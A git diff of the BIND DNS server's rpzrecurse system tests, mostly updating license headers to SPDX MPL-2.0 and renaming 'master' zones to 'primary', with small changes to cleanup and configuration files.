-/dnsrps-slave.conf
 /dnsrps.conf
 /dnsrpzd.conf
 session.key
diff --git a/bin/tests/system/rpzrecurse/README b/bin/tests/system/rpzrecurse/README
index 62b4667feb..5936e051c3 100644
--- a/bin/tests/system/rpzrecurse/README
+++ b/bin/tests/system/rpzrecurse/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 These tests check RPZ recursion behavior (including skipping
 recursion when appropriate).
diff --git a/bin/tests/system/rpzrecurse/ans5/ans.pl b/bin/tests/system/rpzrecurse/ans5/ans.pl
index 2e658711a7..9c5efb3abf 100644
--- a/bin/tests/system/rpzrecurse/ans5/ans.pl
+++ b/bin/tests/system/rpzrecurse/ans5/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/rpzrecurse/clean.sh b/bin/tests/system/rpzrecurse/clean.sh
index ed0ece1057..d1d57abb6b 100644
--- a/bin/tests/system/rpzrecurse/clean.sh
+++ b/bin/tests/system/rpzrecurse/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -25,6 +29,7 @@ rm -f ns2/named.conf.header
 rm -f ns3/named.conf
 rm -f ns3/named.run.prev
 
-rm -f dnsrps*.conf dnsrpzd*
+rm -f dnsrps.cache
+rm -f dnsrps*.conf
 rm -f ns*/session.key
 rm -f ns*/managed-keys.bind* ns*/*.mkeys*
diff --git a/bin/tests/system/rpzrecurse/ns1/db.l0 b/bin/tests/system/rpzrecurse/ns1/db.l0
index af0d9e8517..e6077fcd0e 100644
--- a/bin/tests/system/rpzrecurse/ns1/db.l0
+++ b/bin/tests/system/rpzrecurse/ns1/db.l0
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns1/db.l1.l0 b/bin/tests/system/rpzrecurse/ns1/db.l1.l0
index 36ed1e576f..f51d5f7e95 100644
--- a/bin/tests/system/rpzrecurse/ns1/db.l1.l0
+++ b/bin/tests/system/rpzrecurse/ns1/db.l1.l0
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns1/example.com.db b/bin/tests/system/rpzrecurse/ns1/example.com.db
index 5bbe973e37..3bd11ec70e 100644
--- a/bin/tests/system/rpzrecurse/ns1/example.com.db
+++ b/bin/tests/system/rpzrecurse/ns1/example.com.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns1/example.db b/bin/tests/system/rpzrecurse/ns1/example.db
index fd3e8877e0..0e71776f0a 100644
--- a/bin/tests/system/rpzrecurse/ns1/example.db
+++ b/bin/tests/system/rpzrecurse/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns1/named.conf.in b/bin/tests/system/rpzrecurse/ns1/named.conf.in
index 65406a12ae..4fbb35ac57 100644
--- a/bin/tests/system/rpzrecurse/ns1/named.conf.in
+++ b/bin/tests/system/rpzrecurse/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -25,7 +27,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -33,41 +35,41 @@ controls {
 };
 
 zone "." {
-	type master;
+	type primary;
 	file "root.db";
 };
 
 zone "test.example.org" {
-	type master;
+	type primary;
 	file "example.db";
 };
 
 zone "l0" {
-	type master;
+	type primary;
 	file "db.l0";
 };
 
 zone "l1.l0" {
-	type master;
+	type primary;
 	file "db.l1.l0";
 };
 
 zone "l2.l1.l0" {
-	type master;
+	type primary;
 	file "does-not-exist";
 };
 
 zone "test1.example.net" {
-	type master;
+	type primary;
 	file "test1.example.net.db";
 };
 
 zone "test2.example.net" {
-	type master;
+	type primary;
 	file "test2.example.net.db";
 };
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 };
diff --git a/bin/tests/system/rpzrecurse/ns1/root.db b/bin/tests/system/rpzrecurse/ns1/root.db
index 1b1de3fc00..51be20311f 100644
--- a/bin/tests/system/rpzrecurse/ns1/root.db
+++ b/bin/tests/system/rpzrecurse/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns1/test1.example.net.db b/bin/tests/system/rpzrecurse/ns1/test1.example.net.db
index 4d07a4129a..66ca007efe 100644
--- a/bin/tests/system/rpzrecurse/ns1/test1.example.net.db
+++ b/bin/tests/system/rpzrecurse/ns1/test1.example.net.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns1/test2.example.net.db b/bin/tests/system/rpzrecurse/ns1/test2.example.net.db
index bfe46aa277..57db1154b5 100644
--- a/bin/tests/system/rpzrecurse/ns1/test2.example.net.db
+++ b/bin/tests/system/rpzrecurse/ns1/test2.example.net.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/.gitignore b/bin/tests/system/rpzrecurse/ns2/.gitignore
index db4f2c3d45..69f6f6cee2 100644
--- a/bin/tests/system/rpzrecurse/ns2/.gitignore
+++ b/bin/tests/system/rpzrecurse/ns2/.gitignore
@@ -1,3 +1,8 @@
 /*.local
 /*.queries
-/*.conf
+/named.1*.conf
+/named.2*.conf
+/named.3*.conf
+/named.4*.conf
+/named.5*.conf
+/named.6*.conf
diff --git a/bin/tests/system/rpzrecurse/ns2/db.clientip1 b/bin/tests/system/rpzrecurse/ns2/db.clientip1
index 9b99e45130..f0d53d2ade 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.clientip1
+++ b/bin/tests/system/rpzrecurse/ns2/db.clientip1
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.clientip2 b/bin/tests/system/rpzrecurse/ns2/db.clientip2
index 49ab88124c..dfcc341169 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.clientip2
+++ b/bin/tests/system/rpzrecurse/ns2/db.clientip2
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.clientip21 b/bin/tests/system/rpzrecurse/ns2/db.clientip21
index 770269cbd0..4ce2af1255 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.clientip21
+++ b/bin/tests/system/rpzrecurse/ns2/db.clientip21
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.given b/bin/tests/system/rpzrecurse/ns2/db.given
index d9f3a739df..d464a537e0 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.given
+++ b/bin/tests/system/rpzrecurse/ns2/db.given
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $ORIGIN given.zone.
 $TTL 3600
 @               IN SOA ns.given.zone.  hostmaster.given.zone. 1 600 300 604800 3600
diff --git a/bin/tests/system/rpzrecurse/ns2/db.invalidprefixlength b/bin/tests/system/rpzrecurse/ns2/db.invalidprefixlength
index 895f52635f..f496670fe7 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.invalidprefixlength
+++ b/bin/tests/system/rpzrecurse/ns2/db.invalidprefixlength
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.log1 b/bin/tests/system/rpzrecurse/ns2/db.log1
index f18cfe19c2..495885bab6 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.log1
+++ b/bin/tests/system/rpzrecurse/ns2/db.log1
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.log2 b/bin/tests/system/rpzrecurse/ns2/db.log2
index 88722ff03e..91ff8c56df 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.log2
+++ b/bin/tests/system/rpzrecurse/ns2/db.log2
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.log3 b/bin/tests/system/rpzrecurse/ns2/db.log3
index b432802f99..65ed980806 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.log3
+++ b/bin/tests/system/rpzrecurse/ns2/db.log3
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.passthru b/bin/tests/system/rpzrecurse/ns2/db.passthru
index 0456ef955d..eac3533f2c 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.passthru
+++ b/bin/tests/system/rpzrecurse/ns2/db.passthru
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $ORIGIN passthru.zone.
 $TTL 3600
 @               IN SOA ns.passthru.zone.  hostmaster.passthru.zone. 1 600 300 604800 3600
diff --git a/bin/tests/system/rpzrecurse/ns2/db.wildcard1 b/bin/tests/system/rpzrecurse/ns2/db.wildcard1
index 8d6e8adc82..3e5c78fcd3 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.wildcard1
+++ b/bin/tests/system/rpzrecurse/ns2/db.wildcard1
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.wildcard2a b/bin/tests/system/rpzrecurse/ns2/db.wildcard2a
index 8d6e8adc82..3e5c78fcd3 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.wildcard2a
+++ b/bin/tests/system/rpzrecurse/ns2/db.wildcard2a
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.wildcard2b b/bin/tests/system/rpzrecurse/ns2/db.wildcard2b
index c362314def..f8e6123f83 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.wildcard2b
+++ b/bin/tests/system/rpzrecurse/ns2/db.wildcard2b
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/db.wildcard3 b/bin/tests/system/rpzrecurse/ns2/db.wildcard3
index b60bdd1906..5354c0477d 100644
--- a/bin/tests/system/rpzrecurse/ns2/db.wildcard3
+++ b/bin/tests/system/rpzrecurse/ns2/db.wildcard3
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/named.clientip.conf b/bin/tests/system/rpzrecurse/ns2/named.clientip.conf
index c8ef0aee43..a9ec4ca0a5 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.clientip.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.clientip.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -27,8 +29,8 @@ view "recursive" {
 	nsip-enable yes;
 
     # policy zones to be tested
-    zone "clientip1" { type master; file "db.clientip1"; };
-    zone "clientip2" { type master; file "db.clientip2"; };
+    zone "clientip1" { type primary; file "db.clientip1"; };
+    zone "clientip2" { type primary; file "db.clientip2"; };
 
     recursion yes;
     dnssec-validation yes;
diff --git a/bin/tests/system/rpzrecurse/ns2/named.clientip2.conf b/bin/tests/system/rpzrecurse/ns2/named.clientip2.conf
index c3c6164326..39b67d8366 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.clientip2.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.clientip2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ view "recursive" {
 	nsip-enable yes;
 
     # policy zones to be tested
-    zone "clientip21" { type master; file "db.clientip21"; };
+    zone "clientip21" { type primary; file "db.clientip21"; };
 
     recursion yes;
     dnssec-validation yes;
diff --git a/bin/tests/system/rpzrecurse/ns2/named.conf.header.in b/bin/tests/system/rpzrecurse/ns2/named.conf.header.in
index 6820820858..90a17b7a37 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.conf.header.in
+++ b/bin/tests/system/rpzrecurse/ns2/named.conf.header.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -25,12 +27,12 @@ options {
 	querylog yes;
 
 	# let ns3 start dnsrpzd
-	include "../dnsrps-slave.conf";
+	include "../dnsrps.conf";
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/rpzrecurse/ns2/named.default.conf b/bin/tests/system/rpzrecurse/ns2/named.default.conf
index b692926c63..929b88f2e5 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.default.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.default.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rpzrecurse/ns2/named.invalidprefixlength.conf b/bin/tests/system/rpzrecurse/ns2/named.invalidprefixlength.conf
index fe5935517c..2f2b7356b6 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.invalidprefixlength.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.invalidprefixlength.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,5 +26,5 @@ view "recursive" {
     };
 
     # policy zones to be tested
-    zone "invalidprefixlength" { type master; file "db.invalidprefixlength"; };
+    zone "invalidprefixlength" { type primary; file "db.invalidprefixlength"; };
 };
diff --git a/bin/tests/system/rpzrecurse/ns2/named.log.conf b/bin/tests/system/rpzrecurse/ns2/named.log.conf
index 10c66a3e6c..a19367e709 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.log.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.log.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,9 +30,9 @@ view "recursive" {
 	nsip-enable yes;
 
     # policy zones to be tested
-    zone "log1" { type master; file "db.log1"; };
-    zone "log2" { type master; file "db.log2"; };
-    zone "log3" { type master; file "db.log3"; };
+    zone "log1" { type primary; file "db.log1"; };
+    zone "log2" { type primary; file "db.log2"; };
+    zone "log3" { type primary; file "db.log3"; };
 
     recursion yes;
     dnssec-validation yes;
diff --git a/bin/tests/system/rpzrecurse/ns2/named.max.conf b/bin/tests/system/rpzrecurse/ns2/named.max.conf
index a710793e23..b07783b68d 100644
--- a/bin/tests/system/rpzrecurse/ns2/named.max.conf
+++ b/bin/tests/system/rpzrecurse/ns2/named.max.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -89,70 +91,70 @@ view "recursive" {
 	nsip-enable yes;
 
     # policy zones to be tested
-    zone "max1" { type master; file "db.max1.local"; };
-    zone "max2" { type master; file "db.max2.local"; };
-    zone "max3" { type master; file "db.max3.local"; };
-    zone "max4" { type master; file "db.max4.local"; };
-    zone "max5" { type master; file "db.max5.local"; };
-    zone "max6" { type master; file "db.max6.local"; };
-    zone "max7" { type master; file "db.max7.local"; };
-    zone "max8" { type master; file "db.max8.local"; };
-    zone "max9" { type master; file "db.max9.local"; };
-    zone "max10" { type master; file "db.max10.local"; };
-    zone "max11" { type master; file "db.max11.local"; };
-    zone "max12" { type master; file "db.max12.local"; };
-    zone "max13" { type master; file "db.max13.local"; };
-    zone "max14" { type master; file "db.max14.local"; };
-    zone "max15" { type master; file "db.max15.local"; };
-    zone "max16" { type master; file "db.max16.local"; };
-    zone "max17" { type master; file "db.max17.local"; };
-    zone "max18" { type master; file "db.max18.local"; };
-    zone "max19" { type master; file "db.max19.local"; };
-    zone "max20" { type master; file "db.max20.local"; };
-    zone "max21" { type master; file "db.max21.local"; };
-    zone "max22" { type master; file "db.max22.local"; };
-    zone "max23" { type master; file "db.max23.local"; };
-    zone "max24" { type master; file "db.max24.local"; };
-    zone "max25" { type master; file "db.max25.local"; };
-    zone "max26" { type master; file "db.max26.local"; };
-    zone "max27" { type master; file "db.max27.local"; };
-    zone "max28" { type master; file "db.max28.local"; };
-    zone "max29" { type master; file "db.max29.local"; };
